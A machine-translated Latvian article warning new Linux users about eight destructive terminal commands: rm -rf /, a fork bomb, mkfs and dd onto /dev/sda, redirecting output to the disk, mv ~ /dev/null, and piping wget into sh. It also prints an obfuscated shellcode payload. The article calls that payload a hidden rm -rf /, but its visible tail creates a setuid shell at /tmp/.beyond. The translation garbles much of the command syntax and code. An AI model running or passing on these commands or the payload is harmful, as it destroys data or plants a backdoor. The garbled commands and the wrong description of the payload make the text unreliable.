If-Koubou

8 Deadly komandas jums nekad nedrīkst palaist uz Linux

8 Deadly komandas jums nekad nedrīkst palaist uz Linux (Kā)

Linux termināļa komandas ir jaudīgas, un Linux jums netiks lūgts apstiprinājums, ja palaidīsit komandu, kas pārtrauks jūsu sistēmu. Nav neparasti redzēt troļļus tiešsaistē, iesakot jaunus Linux lietotājus palaist šīs komandas kā joks.

Apmācot komandas, kuras nedrīkstat palaist, var pasargāt jūs no troļļiem, vienlaikus palielinot izpratni par to, kā darbojas Linux. Šis nav izsmeļošs ceļvedis, un komandas šeit var remiksēt dažādos veidos.

Ņemiet vērā, ka daudzas no šīm komandām būs bīstamas tikai tad, ja tām ir pievienota prefiksa sudo par Ubuntu - viņi citādi nedarbosies. Citos Linux sadalījumos lielākajai daļai komandu jābūt palaistām kā root.

Attēlu kredīts: "Skull and Crossbones" remixed no Jason Ford uz čivināt

rm -rf / - izdzēš visu!

Komanda rm-rf / izdzēš visu iespējamo, ieskaitot cietajā diskā esošos failus un pievienotās noņemamo datu nesēju ierīcēs esošos failus. Šī komanda ir saprotamāka, ja tā ir sadalīta:

rm - Noņemiet šādus failus.

-rf - Izpildīt rm rekursīvi (izdzēst visus failus un mapes norādītajā mapē) un piespiest noņemt visus failus, neprasot jums.

/ - Parāda rm, lai sāktu saknes direktorijā, kurā ir visi faili datorā un visas uzstādītās multivides ierīces, ieskaitot attālo failu koplietošanu un noņemamos diskus.

Linux veiksmīgi izpildīs šo komandu un izdzēsīs visu, nepaspiežot jūs, tāpēc piesardzīgi to izmantojiet! Rm komandu var izmantot arī citos bīstamos veidos - rm-rf ~ varētu izdzēst visus failus savā mājas mapē, kamēr rm -rf. * izdzēsīs visus konfigurācijas failus.

Mācība: Sargieties rm-rf.

Slēpts rm-rf /

Šis ir vēl viens koda fragments visā vietnē:

char esp [] __attribute__ ((sadaļa (".text"))) / * e.s.p
atbrīvot * /
= "\ Xeb \ x3e \ x5b \ x31 \ xc0 \ x50 \ x54 \ x5a \ x83 \ xec \ x64 \ x68"
"\ Xff \ xff \ xff \ xff \ x68 \ xdf \ xd0 \ xdf \ xd9 \ x68 \ x8d \ x99"
"\ Xdf \ x81 \ x68 \ x8d \ x92 \ xdf \ xd2 \ x54 \ x5e \ xf7 \ x16 \ xf7"
"\ X56 \ x04 \ xf7 \ x56 \ x08 \ xf7 \ x56 \ x0c \ x83 \ xc4 \ x74 \ x56"
"\ X8d \ x73 \ x08 \ x56 \ x53 \ x54 \ x59 \ xb0 \ x0b \ xcd \ x80 \ x31"
"\ Xc0 \ x40 \ xeb \ xf9 \ xe8 \ xbd \ xff \ xff \ xff \ x2f \ x62 \ x69"
"\ X6e \ x2f \ x73 \ x68 \ x00 \ x2d \ x63 \ x00"
"Cp -p / bin / sh /tmp/.beyond; chmod 4755
/tmp/.beyond; ";

Šī ir rm-rf / - izpildot šo komandu, jūs izdzēsīsiet failus tā, it kā jūs būtu palaists rm -rf /.

Mācība: Nevadiet dīvainas, acīmredzami slēptas komandas, kuras jūs nesaprotat.

: () : |: & ;: - dakša bumba

Šī rindiņa ir vienkārša, bet bīstama, bash funkcija:

:() :|: & ;:

Šī īsā līnija definē čaulas funkciju, kas rada jaunas kopijas. Process nepārtraukti atkārtojas pats, un tā kopijas nepārtraukti atkārtojas, ātri uzsākot visu CPU laiku un atmiņu. Tas var izraisīt datora iesaldēšanu. Tas būtībā ir atteikšanās no pakalpojuma uzbrukums.

Mācība: Bash funkcijas ir spēcīgas, pat ļoti īsas.

Attēlu kredīts: Dake vietnē Wikimedia Commons

mkfs.ext4 / dev / sda1 - formatē cieto disku

The mkfs.ext4 / dev / sda1komanda ir viegli saprast:

mkfs.ext4 - Izveidojiet jaunu ext4 failu sistēmu šādā ierīcē.

/ dev / sda1 - Norāda pirmo nodalījumu pirmajā cietajā diskā, kas droši vien tiek izmantots.

Kopā kopā šī komanda var būt līdzvērtīga darbības formātam c: operētājsistēmā Windows - tā izdzēsīs failus pirmajā nodalījumā un aizstās tos ar jaunu failu sistēmu.

Šī komanda var būt arī citās formās - mkfs.ext3 / dev / sdb2 formatētu otro nodalījumu otrajam cietajam diskam ar ext3 failu sistēmu.

Mācība: Uzmanieties, palaidot komandas tieši cietajā diskā, kas sākas ar / dev / sd.

komanda / dev / sda - raksta tieši uz cieto disku

The komanda / dev / sda line darbojas līdzīgi - tā izpilda komandu un nosūta šīs komandas izvadi tieši uz savu pirmo cieto disku, rakstot datus tieši uz cietā diska un kaitējot jūsu failu sistēmai.

komandu - palaist komandu (var būt jebkura komanda.)

> - Nosūtiet komandas izvadi uz šādu vietu.

/ dev / sda - Rakstīt komandas izvadi tieši uz cietā diska ierīci.

Mācība: Tāpat kā iepriekš, ievērojiet komandas, kurās ir cietā diska ierīces, sākot ar / dev / sd.

dd ja = / dev / random from = / dev / sda - raksta junk uz cietā diska

The dd ja = / dev / random of = / dev / sda rinda arī izdzēsīs datus vienā no jūsu cietajiem diskiem.

dd - Veikt zema līmeņa kopēšanu no vienas vietas uz otru.

ja = / dev / nejaušība - Lietojiet / dev / random (izlases datus) kā ievadi - jūs varat redzēt arī tādas vietas kā / dev / zero (nullēm).

of = / dev / sda - Izvadi uz pirmo cieto disku, aizstājot tā failu sistēmu ar izlases datiem par atkritumiem.

Mācība: dd kopē datus no vienas vietas uz otru, kas var būt bīstams, ja tieši kopējat ierīci.

Attēlu kredīts: Matt Rudge par Flickr

mv ~ / dev / null - Pārvieto jūsu mājas direktoriju uz melno caurumu

/ dev / null ir vēl viena īpaša vieta - pārvietojot kaut ko uz / dev / null, tas ir tas pats, kas to iznīcina. Domājiet par / dev / null kā melnu caurumu. Būtībā, mv ~ / dev / null nosūta visus savus personīgos failus melnajā caurumā.

mv - Pārvietojiet nākamo failu vai direktoriju uz citu vietu.

~ - Parāda visu jūsu mājas mapi.

/ dev / null - Pārvietojiet savu mājas mapi uz / dev / null, iznīcinot visus savus failus un dzēšot oriģinālos eksemplārus.

Mācība: ~ Raksturs attēlo jūsu mājas mapi un pārvieto lietas uz / dev / null, tos iznīcina.

wget http://example.com/something -O - | sh - lejupielāde un skripta izpilde

Iepriekš minētā līnija lejupielādē skriptu no interneta un nosūta to sh, kas izpilda skripta saturu. Tas var būt bīstams, ja neesat pārliecināts, kāds ir skripts vai ja neuztica tā avotam - neuzstādiet neuzticamus skriptus.

wget - Lejupielādē failu. (Jūs arī varat redzēt čokurošus vietās, kur wget.)

http://example.com/something - lejupielādējiet failu no šīs vietas.

| - Caurules (nosūtiet) komandas wget (lejupielādējamais fails) izvadi tieši uz citu komandu.

sh - Nosūtiet failu komandai sh, kas izpilda to, ja tas ir bash skripts.

Mācība: Nelietojiet lejupielādēt un palaist neuzticamus skriptus no tīmekļa, pat ar komandu.

Vai zināt citas bīstamas komandas, kuras jauniem (un pieredzējušiem) Linux lietotājiem nevajadzētu palaist? Atstājiet komentāru un kopīgojiet tos!